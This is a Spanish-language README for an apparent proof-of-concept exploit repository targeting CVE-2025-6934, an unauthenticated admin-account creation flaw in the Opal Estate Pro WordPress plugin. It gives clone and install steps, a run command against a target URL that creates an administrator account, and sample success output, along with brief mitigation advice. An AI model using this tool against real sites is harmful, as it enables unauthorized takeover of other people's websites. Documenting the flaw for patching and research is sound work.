CVE-2025-6934 – Exploit de Opal Estate Pro para WordPress

📖 Descripción Este repositorio contiene un Proof of Concept (PoC) exploit para CVE-2025-6934, una vulnerabilidad crítica en el Plugin de WordPress: Opal Estate Pro <= 1.7.5, que permite la creación de cuenta de administrador sin autenticación.

⚠️ Aviso legal: Esta herramienta se proporciona únicamente con fines educativos y de investigación en seguridad.
El autor no se hace responsable de ningún uso indebido o daño causado.

🚀 Características

• Detección automática de la versión del plugin desde readme.txt
• Extracción de nonce para el registro
• Explota el endpoint AJAX vulnerable
• Crea una nueva cuenta de administrador

🔧 Instalación

Clona el repositorio e instala las dependencias:

git clone https://github.com/0xgh057r3c0n/CVE-2025-6934.git
cd CVE-2025-6934

pip3 install -r requirements.txt

requirements.txt

requests
beautifulsoup4
colorama

▶️ Uso

Ejecuta el script con tu objetivo:

python3 CVE-2025-6934.py -u http://target.com/ -mail [email protected] -password MySecurePass123 -user newadmin

✅ Ejemplo de salida:

[✔] Exploit exitoso!
    Usuario   : newadmin
    Correo    : [email protected]
    Contraseña: MySecurePass123
    Rol       : administrator

📸 Captura de pantalla

🛡️ Mitigación

• Actualiza a la última versión del plugin
• O desactiva el plugin vulnerable de inmediato
• Supervisa los registros de WordPress en busca de creación no autorizada de cuentas

👤 Autor

Gaurav Bhattacharjee (0xgh057r3c0n)

📜 Licencia

Este proyecto está bajo la Licencia MIT – consulta el archivo LICENSE para más detalles.